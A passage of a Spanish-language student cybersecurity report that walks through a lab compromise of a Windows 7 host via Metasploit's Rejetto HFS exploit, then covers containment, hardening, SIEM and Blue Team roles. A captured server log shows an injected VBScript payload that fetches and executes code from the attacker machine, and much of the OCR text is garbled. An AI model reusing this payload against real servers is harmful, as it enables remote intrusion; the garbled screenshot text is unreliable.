MMMNTI MMMMM MMMMMMM MMMMM
MMMNTI MMMMM MMMMMMM MMMMM
M \ MMMNM MMMMMMM MMMMM
WMMMM MMMMMMM MMMM#E
?MMNM MMMMM
" ?MMM MMMM ™
?MM MM?

IMMMMm+ . . +MMNMMNM
https //metasploit.com

Fuente: Propia

llustracion 33. Inicio Metasploit

command

Fuente: Propia
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llustracion 34. Busqueda httpFileServer o Rejetto
msf5 > search httpFil ver

e Date Rank

Fuente: Propia

llustracion 35. Uso exploit

Fuente: Propia

llustracion 36.Uso exploit

se 0

loit(windows/http/rejetto hfs exec) > |

Fuente: Propia

llustracion 37. Uso exploit
msf5 e oit (windows/http/rejetto_hfs_exec) > show options

Module options Lo i /http jetto hfs
Name
H%T#DELA? 10 no 7 Seconc vait before terminating \ Serv
chain of format type:host:port[, typ

range CIDR identifier,

fal

s omly generated)

Fuente: Propia
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llustracion 38.Uso exploit

Payload options (win s/meterpreter se https):

Current Se Required Description

Exit technique (A d: , seh, thread, p

LHOST g ) he g '
LPORT 4 The Lat
LURI The HTTP Path

Fuente: Propia

llustracion 39. Uso exploit

oit(windows/http/rejetto hfs exec) > set rh

— ]_'-;_ . .- _‘, ';_'!'
loit (windows/http/rejetto hfs exec) > ||

Fuente: Propia

llustracion 40.Uso exploit
msf5 loit (windows/http/rejetto_hfs_exec)

jetto hfs C.rb:110: warning: URI

jetto hfs "b:110: warning: URI
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llustracién 41. vulnerabilidad port 80

05:563:05 p.m. 192.168.20.50:36554 Requested GET /
05:67:46 p.m. 192.168.20.50:36614 Requested GET /
09:03:28 p.m. 192168 20.30:64534 Requested GET /
09:10:05 p.m. 192.168.20.50:36658 Requested GET /
09:26:02 p.m. 192 16820 50:40565 Requested GET (?search== On Error Resume Next
= % Open "GET","http/192.168.20 50:8080/RgH4eA" False

= If Err.Mumber <= 0 Then

= wsh_exit

= End If

= x.Send

= Execute x responseTesxt }

09:26:03 p.m. 192168 .20.50:35945 Requested GET (?search=

Fuente: Propia
Con este ultimo proceso se comprobd que se logro ingresar de manera remota

desde Kali Linux a Windows 7 x64 por medio del exploit y se conocio la
vulnerabilidad que hay en el puerto 80.
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5 ETAPA 4 CONTENCION DE ATAQUES INFORMATICOS

5.1 ¢Qué serialo primero que indagaria y haria si llegara a encontrarse un
ataque en tiempo real? Especifigue su respuesta con argumentos
técnicos.

En primer lugar, se debe validar con el equipo Red Team el tipo de ataque que se
esta presentando, los activos informaticos que impacta este ataque, e identificar las
vulnerabilidades que presenta el sistema.

Se evidencia que un equipo con sistema operativo Windows 7 X64 se encuentra
con antivirus y firewalls desactivados, procedimiento que se dio en la etapa anterior.

llustracion 42. Firewall Desactivado Host W7x64

Firewall de Windows con seguridad avanzada en Equipo local

ﬂ Firewall de Windows con seguridad avanzada proporciona seguridad de red para los equipos con Windows.

Informacion general

Perfil de dominio

@ Firewall de Windows esta activado.

@ Las conexiones entrantes que no coincidan con una regla estadn bloqueadas.

IZ{_JI' Conexiones salientes que no coincidan con una regla seran permitidas.

Perfil privado

Ed Firewall de Windows esta desactivado.

El perfil pablico esta activo.
&4 Firewall de Windows esta desactivado.

E] Propiedades de Firewall de Windows

Fuente : Propia
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llustracién 43. Seguridad Host W7x64

Seguridad )

Proteccién contra spyware y software no deseado (Importante) -
) i . Actualizar ahora
Windows Defender no esta actualizado.

Dresactivar mensajes scbre proteccién contra spyware y Obtener otro programa anti spyware en
otros tipos relacionados linea

Proteccién antivirus (Importante)

Windows no encoentrd ninguln software antivirus en este Buscar un programa en linea
equipo.

Desactivar mensajes sobre proteccién antivirus

Windows Update (Importante)

Cambiar configuracién...

Para mejorar la seguridad y el rendimiento del equipo, le
recomendamos que active Windows Update.

Desactivar mensajes sobre Windows Update

Firewall de red (Importante) |“pA—h
. ctivar ahora
@ Firewall de Windows estd desactivado o configurado incorrectamente. ———————————————

Desactivar mensajes sobre firewall de red Obtener otre programa de firewall en
linea

Fuente: Propia

Recoleccion de informacion de las vulnerabilidades que presenta la red, y estado
de la conexion de red del host implicado en el incidente, para realizar aislamiento

llustracion 44. IP Host W7x64

BN Administrador: C:\Windows\system32\cmd.exe EI@

Microsoft Windows [Uersion 6.1.76811
Copyright <(c> 2809 Microsoft Corporation. Reservadoz todos los derechos.

C:“Userssusuario>ipconfiyg

Configuracidon IP de Windows

Adaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexidn. . :
Direccion IPuvb . . . . . . . . . . @ 2000:484:dh7c:fc4@:4842:9ced4:4e38:7898
: 2808:484:db?c:fc4B:d4d7:92c?:hbcf 5796

Direccidn IPvw6 temporal. . . . . .

Uinculo: direccidon IPuvh local. . . feB@::4842:9ced4:4e38:7898x11

Dirececidn IPv4. . . . . . . . . . . . . . = 192.168.20.49

Miscara de subred . . . . . . . . . . . . = 255.255_255.8

Puerta de enlace predeterminada . . . . . = FeBB@::1682:5hff:feBd:-20:11
192.168.20.1

Adaptador de tinel isatap.{SBESBED2-9B@4-4799-BEB3-D289D73C2460>:

Estado de los medios. . - . . . . . . . . & medios desconectados
Sufijo DNS especifico para la conexidn. . :

C:~\Userssusuario>

Fuente: Propia
Correr un sniffer desde el host con Kali lunux para capturar el trafico de

informacion que ingresa y sale a través de la red, en este caso utilizare la
herramienta Wireshark.
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llustracion 45. Interface Wireshark

Welcome to Wireshark

Capture
...using this filter: | |E"I|:E' a capture filter ... '] All interfaces shown ~
eth0 Ihl_ VR T -
Loopback: lo
any [PV, ST,
bluetooth-monitor
nflog
nfqueus
dbus-system
dbus-session
@ Cisco remote capture: ciscodump
@& DisplayPort AUX channel monitor capture: dpauxmon
@ Random packet generator: randpkt
@ systemd Journal Export: sdjournal
= Pl cl [N RS Ry Sy MU S [ "
Fuente: Propia
llustracién 46. Captura Paquetes Wireshark
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
W & @ XX RemESF ¥ = QQ QQF
L] [Apply a display filter ... <Ctrl-/> = -]+
Mo. Time Source « Destination Protocol |Lengtt Info
12746 121.670106146 192.168.208.49 224.0.08.22 IGMPV3 6@ Membership Report / Jo..
374 32.186312421 192.168.28.49 239.255.255. 250 S5DP 171 M-SEARCH * HTTP/1.1
370 32.140034754 192.168.208.49 239.255.255.250 55DP 139 M-SEARCH * HTTP/1.1
333 29.185792371 102.168.208.49 239.255.255. 250 s5DP 171 M-SEARCH * HTTP/1.1
331 29.138636814 192.168.208.49 239.255.255.250 S5DP 139 M-SEARCH * HTTP/1.1
322 27.842230979 192.168.20.49 192.168.20. 255 HENS 92 Name gquery NBE WORKGROU..
311 27.091327875 192.168.208.49 192.168.20.255 NENS 92 Name gquery NBE WORKGROU..
304 26.491525857 192.168.208.49 239.255.255.250 UDP 666 52285 — 3702 Len=624
302 26.363001837 102.168.208.49 239.255.255. 250 uDe 666 52285 — 3702 Len=624
oA TE 2EAOORERE AR 407 AEO0 0_AO 407 _AEQ 30O TEER KDRT O Klommes  maeoess RID LD D00
» Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface eth@, id ©
» Ethernet II, Src: HonHaiPr_cil:T3:bb (90:00:4e:cl:T3:bb), Dst: IPv4mcast_16 (01:00:52:00:00:16)
» Internet Protocol Versionm 4, Src: 192.168.20.30, Dst: 224.0.0.22
» Internet Group Management Protocol

01 00 Se B2 00 16 90 00 4e cl 3 hb 093 00 46 GO AR Mo F-
GE 28 ff 3c 00 00 1 2 70 b6 EEREENSENSTE =0 @0 (= iN - - - -

fob 81 08 @8 BB 01
0e ee e e

ge 16 94 04 00 @@ 22 0O 02 ee

Ge 00 e@ BB BE fo BE QR

() @ eth0: <live capture in progress=>

Fuente: Propia

Packets: 2937 - Displayed
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Al utilizar el sniffer puedo tener claridad de lo que esta sucediendo y el tipo de ataque
al cual nos estamos enfrentando en el host con Windows 7 X64.

Posteriormente se debe habilitar firewall y antivirus, ademéas se deben correr los
parches de actualizacion del sistema operativo.

El equipo Red Team realizo el informe de vulnerabilidades encontradas en el host
con Windows 7 X64 y se procede a cerrar puertos encontrados en la etapa anterior
con la herramienta NMAP

5.2 ¢TENIENDO EN CUENTA EL ATAQUE EJECUTADO DESDE EL
EJERCICIO DE RED TEAM QUE MEDIDAS DE HARDENIZACION
PROPONDRIA PARA QUE EL ATAQUE NO SE REPITA?

Instalacién de parches y actualizaciones de seguridad: tener politicas y
cronograma para la aplicacion regular de parches y actualizaciones de seguridad al
sistema operativo y al software, para minimizar las vulnerabilidades conocidas.

Configuracién de ajustes de seguridad: configurar ajustes de seguridad como
controles de acceso, cortafuegos y sistemas de deteccion de intrusos puede ayudar
a prevenir accesos y ataques no autorizados.

Aplicaciéon de contrasefias y autenticacion seguras: las contrasefias seguras y
los mecanismos de autenticacion, como la autenticacion multifactor, pueden
dificultar que los atacantes accedan al sistema, asi como el deshabilitar los usuarios
por default al realizar la instalacion de sistemas operativos.

Reduccion de la superficie de ataque: mediante la realizacion de politicas,
procedimientos y buenas practicas el deshabilitar los servicios innecesarios y
eliminar el software innecesario puede reducir la superficie de ataque del sistema.
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Copias de seguridad Periddicas: practica importante para proteger los datos y
garantizar que no se pierdan en caso de un ciberataque, error humano, fallo del
hardware o cualquier otro problema.*®

5.3 ¢DESCRIBA CON SUS PALABRAS LAS DIFERENCIAS ENTRE UN
EQUIPO BLUETEAM Y UN EQUIPO DE RESPUESTA A INCIDENTES
INFORMATICOS?”

Son dos tipos de equipos de ciberseguridad los cuales poseen diferentes roles y
responsabilidades en la proteccidn y respuesta a amenazas informéaticas.

El equipo Blue Team tiene como principal objetivo detectar, prevenir y mitigar las
amenazas informaticas antes de que ocurran. Esto se lleva a cabo mediante un
constante monitoreo a la infraestructura de la empresa, es el responsable de
realizar, desarrollar y documentar pruebas de vulnerabilidades, politicas y
procedimientos se seguridad. ademas, pueden implementar medidas de seguridad
como firewalls, sistemas de deteccion de intrusiones

Por otro lado, un equipo de respuesta a incidentes informaticos es el responsable
de responder a los incidentes de seguridad cuando ocurren, este quipo tiene como
objetivo minimizar el impacto del incidente y restaurar la operatividad de los
sistemas de la empresa; este equipo se encarga de investigar, recopilar las causas
del incidente, ademas de recolectar pruebas para reportarlo a las autoridades y
realizar el andlisis forense

El equipo Blue Team es defensivo y proactivo en la seguridad de la organizacién, y
el equipo de respuesta a incidentes informéticos es reactivo en la seguridad de la
organizacion't.

5.4 ¢Sidentro de un equipo Blue Team le indican que debe trabajar con CIS
“Center For Internet Security” usted lo utilizaria para qué fin?

15 Hardening informatico ¢Qué es? (s.f). Recuperado 21 de marzo de 2023, de
https://www.ciset.es/publicaciones/blog/746-hardening

16 Suarez, P. (2021, julio 29). El CSIRT y el trabajo de un BlueTeam. Escuela tecnolégica
especializada en programacion, ciberseguridad, XR, IoT, IA y blockchain | CODE SPACE.
https://codespaceacademy.com/blog/csirt-trabajo-blueteam/
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El Center for Internet Security es una organizacion sin fines de lucro que se dedica
a mejorar la seguridad informética a nivel mundial. Lo utilizaria para mejorar la
postura de seguridad informatica de la empresa; El CIS ofrece un conjunto de
controles de seguridad criticos y préacticas recomendadas que pueden ayudar a
fortalecer la seguridad de la infraestructura y los sistemas de la organizacion.

Utilizaria los recursos y herramientas de CIS para implementar los controles de
seguridad criticos en la organizacion, como podrian ser : la identificacion vy
autenticacion de usuarios, la monitorizacion y analisis de eventos, configuraciones
seguras, como estudiante de especializacibn en seguridad informética,
aprovecharia los recursos y herramientas de CIS para mejorar la capacidad del
equipo Blue Team en la deteccion y prevencion de amenazas informéaticas lo cual
permite fortalecer la seguridad de la organizacién 1/

5.5 Explique y redacte las funciones y caracteristicas principales de lo que
es un SIEM.

Se puede definir un SIEM, como un sistema de administracion de seguridad de la
informacion que se encarga de recolectar y analizar informacién proveniente de
diversas fuentes como registros de eventos, registros de seguridad,
vulnerabilidades, entre otros, con el fin de identificar posibles amenazas y anomalias
en la red de una organizacion.!®

Las funciones principales de un SIEM son:

Recopilacion y correlacion de datos: recopila informacion de diferentes fuentes 'y
correlaciona los eventos para detectar patrones de comportamiento.

Andlisis de comportamiento: utiliza algoritmos y analisis estadisticos para
identificar comportamientos andmalos en la red.

Detecciébn de amenazas: detecta amenazas de seguridad mediante la
identificacion de patrones y anomalias en la red.

Respuesta a incidentes: proporciona informacion detallada y contexto a los
equipos de respuesta a incidentes para tomar decisiones informadas.

17.CIS. (s. f.). CIS. Recuperado 21 de marzo de 2023, de https://www.cisecurity.org

18 ;Qué es SIEM? | Seguridad de Microsoft. (s.f.). Recuperado 21 de marzo de 2023, de
https://www.microsoft.com/es-es/security/business/security-101/what-is-siem
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Cumplimiento normativo: ayuda a cumplir con los requisitos de cumplimiento
normativo mediante la recopilaciéon y andlisis de datos.

Las principales caracteristicas de un SIEM son:

Recopilacion de datos: recopila datos de diferentes fuentes, como registros de
eventos, registros de seguridad, vulnerabilidades, etc.

Correlacion de eventos: correlaciona eventos para detectar patrones de
comportamiento y anomalias.

Andlisis de comportamiento: utiliza algoritmos y andlisis estadisticos para
identificar comportamientos anémalos en la red.

Dashboard e informes: Permiten el monitoreo y estado de seguridad de la red
mediante informes y tableros de informacién

Integracion: se integra con otros sistemas de seguridad de la informacion para
proporcionar una solucion de seguridad completa.

5.6 Defina por lo menos 3 herramientas de contencién de ataques
informaticos “hardware o software”, recuerde que las herramientas de
contencion son diferentes a las herramientas de deteccion.

Firewalls: Los firewalls son una herramienta esencial de contencion de ataques
informaticos permite filtrar el trafico de red y bloquear los accesos no autorizado a
los sistemas. Estos dispositivos actian como una barrera de proteccion entre la red
interna y el mundo exterior, y pueden ser hardware o software.

Los firewalls pueden ser configurados para permitir o denegar el acceso a ciertos
puertos, protocolos y direcciones IP, y pueden ser personalizados a la medida de
las necesidades de la organizacién

Sistemas de prevencién de intrusiones (IPS): Herramienta de contencion de
ataques informaticos que se utiliza para monitorear el trafico de red en busca de
actividades sospechosas 0 maliciosas. Estos sistemas utilizan una combinacién de
técnicas de deteccion de intrusiones y analisis de trafico para identificar y bloquear
posibles amenazas antes de que puedan causar dafo. Los IPS pueden ser
hardware o software, y pueden ser configurados para bloquear automaticamente el
trafico de red malicioso o enviar alertas a los equipos de seguridad para una
respuesta manual.
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Antivirus empresarial: Herramienta de contencidn de ataques informaticos que se
utiliza para proteger los sistemas de una organizacion contra virus, malware y otras
amenazas informaticas. Estos programas se ejecutan en los sistemas de los
usuarios y en los servidores de la red, y utilizan una variedad de técnicas de
deteccibn de amenazas, como analisis de firmas, heuristica y analisis de
comportamiento, para detectar y bloquear malware. Los antivirus empresariales
también pueden ser configurados para actualizar automaticamente las definiciones
de virus y para programar exploraciones regulares de los sistemas para detectar
amenazas.®

19 10 tipos de incidentes de seguridad y cémo manejarlos | Computer Weekly. (s.f.).
ComputerWeekly.es. Recuperado 21 de marzo de 2023, de
https://www.computerweekly.com/es/tutoriales/10-tipos-de-incidentes-de-seguridad-y-como-
manejarlos
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CONCLUSIONES

Colombia ha logrado avances significativos en temas tecnolégicos y normatividad
sobre delitos informéaticos, pero adn hay aspectos pendientes en términos de
proteccion de la informacion y los sistemas informaticos. Es esencial que las
empresas inviertan en equipos de ciberseguridad interdisciplinarios para garantizar
la estabilidad y el correcto funcionamiento de sus activos informaticos y protegerlos
de posibles ataques informaticos.

Todas las empresas, sin importar su tamafio o sector, deben preocuparse por la
seguridad informatica; Es esencial invertir en equipos de ciberseguridad
interdisciplinarios para asegurar la estabilidad y el funcionamiento adecuado de los
sistemas de red de la organizacion y protegerlos de posibles ataques informaticos.

La prevencion es clave para evitar atagues informaticos. Las empresas deben
contar con procesos, actividades y herramientas actualizadas para evitar que
ocurran, o en su defecto, tener las fortalezas necesarias para responder y atacar
eficazmente en caso de un posible ataque cibernético.

Es importante que los especialistas en ciberseguridad estén actualizados y tengan
conocimientos sélidos sobre las herramientas de contencion de ataques
informaticos mas robustas. Esto les permitird desempefar su labor de manera eficaz
y reconocida, y proteger los sistemas de red de sus organizaciones de forma mas
efectiva

La ética es clave para la integridad del empleado y la reputacion de la empresa,
mientras que la falta de ética puede tener consecuencias desfavorables.

La realizacion de pruebas de intrusiéon en redes de datos es una practica necesaria
para identificar las vulnerabilidades en los sistemas y corregirlas. Esto ayuda a
mejorar la seguridad, proteger los datos y sistemas de posibles ataques
cibernéticos.

Mantener los sistemas operativos actualizados con las uGltimas actualizaciones del
fabricante es esencial para evitar vulnerabilidades y posibles ataques informéaticos.
Los sistemas operativos desactualizados pueden ser altamente vulnerables a
ataques cibernéticos, por lo que es importante actualizarlos regularmente.
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RECOMENDACIONES

Implementar politicas de seguridad claras y especificas que aborden
aspectos como la gestion de contrasefias, el acceso a informacion
confidencial, la seguridad fisica de los equipos, entre otros. Ademas, es
importante que estas politicas sean comunicadas de manera efectiva a todo
el personal y se les brinde la capacitacion necesaria para cumplirlas
correctamente.

Realizar auditorias y revisiones periodicas de los sistemas y procesos de
seguridad para identificar posibles vulnerabilidades y areas de mejora. Es
importante que se establezcan protocolos claros de seguimiento y resolucion
de problemas.

Implementar soluciones tecnoldgicas que permitan proteger la informacion y
los sistemas de la organizacion, como firewalls, sistemas de deteccion de
intrusiones, encriptacion de datos, entre otros.

Establecer un plan de respuesta a incidentes de seguridad que contemple la
identificacion rapida de la situacién, la contencién del problema, la
investigacion de la causa y la recuperacion de los sistemas afectados.

Promover una cultura de seguridad en la organizacion, en la que se fomente
la conciencia de los riesgos cibernéticos y se incentive la participacion de
todo el personal en la prevencién y mitigacion de estos riesgos.

Identificar los activos de informacion criticos que tiene la organizacion y
protegerlos adecuadamente. Para ello, se deben llevar a cabo evaluaciones
de riesgos y andlisis de impacto en el negocio.

Realizar pruebas de intrusion y andlisis de vulnerabilidades: para identificar
las vulnerabilidades existentes en los sistemas y aplicaciones de la
organizacion, es recomendable realizar pruebas de intrusion y analisis de
vulnerabilidades. Estas pruebas deben ser realizadas por expertos en
seguridad informatica y se deben llevar a cabo de manera periodica.

Mantener los sistemas y aplicaciones de la organizacién actualizados con las

ultimas versiones de software y parches de seguridad. Esto ayuda a reducir
las vulnerabilidades y mejorar la proteccion contra amenazas de seguridad.
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